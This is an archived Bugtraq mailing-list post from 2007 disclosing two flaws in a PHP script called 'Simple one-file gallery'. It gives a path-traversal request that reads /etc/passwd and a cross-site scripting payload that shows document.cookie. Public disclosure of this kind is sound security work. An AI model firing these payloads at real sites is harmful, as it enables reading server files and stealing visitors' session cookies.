[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]
Simple one-file gallery
- To: bugtraq@xxxxxxxxxxxxxxxxx
- Subject: Simple one-file gallery
- From: none@xxxxxxxx
- Date: 23 Feb 2007 21:35:31 -0000
local file include:
/gallery.php?f=../../../../../../../../../../../../etc/passwd
xss via php error :
/gallery.php?f=</textarea>'"><script>alert(document.cookie)</script>
regards laurent gaffié